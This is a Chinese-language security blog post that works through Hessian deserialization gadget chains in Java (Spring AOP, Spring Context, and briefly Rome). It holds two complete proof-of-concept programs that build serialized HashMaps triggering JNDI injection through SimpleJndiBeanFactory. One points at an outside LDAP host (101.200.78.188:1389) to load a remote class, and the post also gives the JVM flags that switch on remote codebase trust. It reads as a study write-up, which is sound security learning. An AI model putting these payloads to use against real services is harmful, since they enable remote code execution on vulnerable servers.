Skip to content

Hessian反序列化

参考https://su18.org/post/hessian/#spring-context-aop

https://www.freebuf.com/vuls/343591.html

Hessian1在进行序列化时会将序列化的类都转化为Map,反序列化也是将类反序列化后put进入Map中

而Hessian2不会将所有序列化的类都视作Map,在反序列化时也是将数据流中的字段反射写进用Unsafe创建的目标类的实例中。这样的话目标类的readObject,getter/setter,或者是构造方法都不会被直接触发。

但是呢当序列化的类数据类型为Map时,若没有指定Map类型,则会默认当作HashMap处理,并将key,value反序列化之后put进这个HashMap中。而在put时会调用key#hashCode,如果两个key的hash值一样就会调用前一个key的equals方法,参数为后一个key.若Map类型为SortdedMap,则会创建一个TreeMap,而TreeMap在put时会调用key的compareTo方法,所以用Hessian反序列化时链子的入口点应为hashcode,equals,compareTo三者之一。

Hessian还有一个特性是它不完全依赖Serializable接口,即就算序列化的类没有实现Serializable接口在特定条件下也还是能序列化与反序列化,因为 Hessian 提供了一个 _isAllowNonSerializable 变量用来打破这种规范,可以使用 SerializerFactory#setAllowNonSerializable 方法将其设置为 true,从而使未实现 Serializable 接口的类也可以序列化和反序列化。判断是在序列化的过程中进行的,而非反序列化过程,那自然可以绕过了,换句话说,Hessian 实际支持反序列化任意类,无需实现 Serializable 接口。

在 Java 原生反序列化中,在未指定 serialVersionUID 的情况下如果修改过类中的方法和属性,将会导致反序列化过程中生成的 serialVersionUID 不一致导致的异常,但是 Hessian 并不关注这个字段,所以即使修改也无所谓。

在序列化时,由 UnsafeSerializer#introspect 方法来获取对象中的字段,在老版本中应该是 getFieldMap 方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。

Spring-AOP

AbstractBeanFactoryPointcutAdvisor

所需依赖为

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>6.1.3</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>6.1.3</version>
</dependency>

原理

AbstractPointcutAdvisor#equals会调用传入参数的getAdvise()方法

img

AbstractBeanFactoryPointcutAdvisor#getAdvice调用了自身的beanFactory的getBean方法

img

如果这个字段为SimpleJndiBeanFactory,就可以JNDI注入

img

因为要触发的是AbstractPointcutAdvisor#equals,根据HashMap在进行put时是将当前调用当前key的equals方法,参数为上一个节点的key,所以构造Poc时要先put AbstractBeanFactoryPointcutAdvisor,再put AbstractPointcutAdvisor。

本地

这是我初次构造的poc,打算在本地先试试

img

构造时遇到了几个小问题

  1. Exception in thread “main” org.springframework.beans.factory.BeanDefinitionStoreException: Invalid bean definition with name ‘rmi://127.0.0.1/hello’ defined in JNDI environment: JNDI lookup failed; nested exception is javax.naming.ConfigurationException: The object factory is untrusted. Set the system property ‘com.sun.jndi.rmi.object.trustURLCodebase’ to ‘true’.

这是因为Java 从 JDK 8u121 开始,默认禁用了通过 RMI 的 JNDI 反序列化远程类(这是为了防止反序列化漏洞)。为了让其不报错,我需要在程序虚拟机选项中加上

1
2
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

或者在源代码处加上

1
2
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

必须这两句一起加,少了一句都弹不了计算器,很奇怪(我之前是只加了rmi那一句,才有下面第二个错,两句都加了直接弹计算机了,但是如果不用rmi协议用ldap协议就只需要ldap那一句话,rmi多少有点毛病)

  1. 加上选项后又报错Exception in thread “main” org.springframework.beans.factory.BeanNotOfRequiredTypeException: Bean named ‘rmi://127.0.0.1/hello’ is expected to be of type ‘org.aopalliance.aop.Advice’ but was actually of type ‘javax.naming.Reference’

这是因为AbstractBeanFactoryPointcutAdvisor#advice中已经指定了getBean方法的一个参数为Advice.class,所以远程加载必须返回Advice类。

img

我修改了一下自己写的rmi服务端,发现模块化系统是真烦人,配置半天都没配置好,索性直接用工具了。

远程

本地通了,学习一下远程的写法

远程POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class AnswerPoc {
public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {

String jndiUrl = "ldap://101.200.78.188:1389/iqcsy3";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
setFieldValue(bf, "logger", new NoOpLog());(我发现将这条和下面那条语句都注释了还是能弹计算器)
setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(jndiUrl);

HashMap<Object, Object> hashMap = new HashMap<>();
setFieldValue(hashMap, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();
defaultBeanFactoryPointcutAdvisor.setBeanFactory(bf);
defaultBeanFactoryPointcutAdvisor.setAdviceBeanName(jndiUrl);
Array.set(tbl, 0, nodeCons.newInstance(0, pcadv, pcadv, null));
Array.set(tbl, 1, nodeCons.newInstance(0, defaultBeanFactoryPointcutAdvisor,defaultBeanFactoryPointcutAdvisor, null));
setFieldValue(hashMap, "table", tbl);

// Hessian 序列化数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(hashMap);
byte[] serializedData = byteArrayOutputStream.toByteArray();
System.out.println("Hessian 序列化数据为: " + Base64.getEncoder().encodeToString(serializedData));

// Hessian 反序列化数据
// 模拟bypass高版本JNDI
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedData);
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
}

成功弹出计算机。(还是ldap协议只需要System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”, “true”);这一句话,rmi需要两个都为true)

AbstractBeanFactoryPointcutAdvisor是AbstractPointcutAdvisor的子类,DefaultBeanFactoryPointcutAdvisor是AbstractBeanFactoryPointcutAdvisor的子类。

HashMap有两个重要字段,”size”,”table”,size存储的是table中有多少个节点,table存储的是节点数组,Node的构造函数允许设置其hash值,上述代码就将两个node的hash值都设置为零,这样在反序列化进行put的时候就会触发equals。

Spring Context &AOP

AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder#toString调用了其属性advisor#getOrder()

img

所以要找一个实现了Ordered和Advisor接口的类,即AbstractAspectJAdvice

img

要找实现了AspectInstanceFactory接口的子类,即BeanFactoryAspectInstanceFactory

img

接下来将beanFactory设置为SimpleJndiBeanFactory,调用其doGetType()(AOP那条链子是调用的其getBean()),完成JNDI注入

但是这条链子的起始点是toString,所以在Hessian反序列化中要找到一个hashcode,equals,compareto这三者之一的入口点,因为Spring AOP链的入口点调用的是getAdvice(),所以在这里并不适用.

入口点为Xstring#equals

img

调用了其传入参数的toString,很明显只要将PartiallyComparableAdvisorHolder作为传入的参数即可。

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
package unser;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;

public class SpringPHessian {
public static void main(String[] args) throws Exception {
// ldap url
String url = "ldap://127.0.0.1:8085/frcAHYRo";

// 创建SimpleJndiBeanFactory
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();

// 创建BeanFactoryAspectInstanceFactory
// 触发SimpleJndiBeanFactory的getType方法
AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setField(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
setField(beanFactoryAspectInstanceFactory, "name", url);

// 创建AspectJAroundAdvice
// 触发BeanFactoryAspectInstanceFactory的getOrder方法
AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class);
setField(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);

// 创建AspectJPointcutAdvisor
// 触发AspectJAroundAdvice的getOrder方法
AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
setField(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);

// 创建PartiallyComparableAdvisorHolder
// 触发AspectJPointcutAdvisor的getOrder方法
String PartiallyComparableAdvisorHolder = "org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder";
Class<?> aClass = Class.forName(PartiallyComparableAdvisorHolder);
Object partially = createWithoutConstructor(aClass);
setField(partially, "advisor", aspectJPointcutAdvisor);

// 创建HotSwappableTargetSource
// 触发PartiallyComparableAdvisorHolder的toString方法
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially);
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));

// 创建HashMap
HashMap hashMap = new HashMap();
hashMap.put(targetSource1, "111");
hashMap.put(targetSource2, "222");

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(hashMap);
hessian2Output.close();

// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(bais);
HashMap o = (HashMap) hessian2Input.readObject();
}

public static void setField(Object o, String fieldname, Object value) throws Exception {
Field field = getField(o.getClass(), fieldname);
field.setAccessible(true);
field.set(o, value);
}

public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
}

利用ReflectionFactory伪造构造函数

可以看到如上Payload有一个creatWithConstructor,接收了四个参数,classToInstantiate(想实例化的类),constructClass(想伪造的构造函数所在的类),consArgType(伪造的构造函数的参数类型),consArgs(伪造的构造函数的实参)。

1
2
3
4
5
6
7
8
9
10
11
12
13
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

第10行这条语句创建了一个神奇的Constructor,这个sc虽然是constructClass的构造函数,但是调用sc.newInstance()时会返回一个classToInstantiate类的实例,并且不调用其构造函数,反而调用sc的所对应的构造函数。这样方便我们绕过原本的classToInstantiate的构造函数,更方便地构造序列化对象。

而当我们不想执行任何构造函数时就可以调用Object的无参构造器,不会执行任何操作,只会给你返回你想要的那个对象,就像上面的createWithoutConstructor()。

ObjectInputStream反序列化时其实也是调用ReflectionFactory,创建一个没有初始化的实例(即属性都为null),绕过其本身的构造函数,再通过反射将二进制流的中的属性值反射赋值给这个实例

至于为什么要调用ReflectionFactory而不是直接调用其构造函数构造,因为直接调用其构造函数会触发jndi查询,但是查询完之后会报错,就走不到序列化那一步了。

Rome链

环境:jdk版本小于等于8,rome版本要低,其ToStringBean要有无参的toString方法

Hessian反序列化相关链子中就有一条Rome,刚好之前看到一篇文章也有跟Rome链相关的内容,想着自己试着挖一下加深印象

Hessian反序列化时会将table中的node进行遍历并一个一个Put进新的table中,入口点很明显要么是hashcode,要么是equals

这条链子的核心是ToStringBean

img

ToStringBean#toString 会获取传入的beanclass的getter方法,并触发obj.getter,但是我用自定义的类进行调试的时候报了跟TreadLocal有关的错,不是很明白。但是是先调用getter再报错,所以无所谓。所以这条链子就是触发目标类的getter方法,现在就要找如何触发ToStringBean#toString.我印象里有两条触发toString的链子,一条是EventListenerList,另一条是BadAttributeException,但BadAttributeException并不可行,因为其必须触发无参的toString,但ToStringBean只有有参的toString,EventListenerList同理。并且在jdk17中BadAttributeException#readObject方法也已改版了,不能触发toString了。

我发现我用的这个rome版本实在是太安全了,网上那些rome链都是用的低版本。

低版本的ToStringBean有两个toString,一个无参,一个参数为String.

低版本的rome链就很简单了,搞这么大半天原来是版本有问题,没有耐心再去把这条链子复现一遍了。

jdk17中删除了JdbcRowSetImpl的class文件,但仍然保存有其源代码,所以能import,但编译时就会报错

jdk高版本真是烦人啊

这条链子的入口点是EqualsBean#hashCode

XBean

几乎和Resin链一样

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.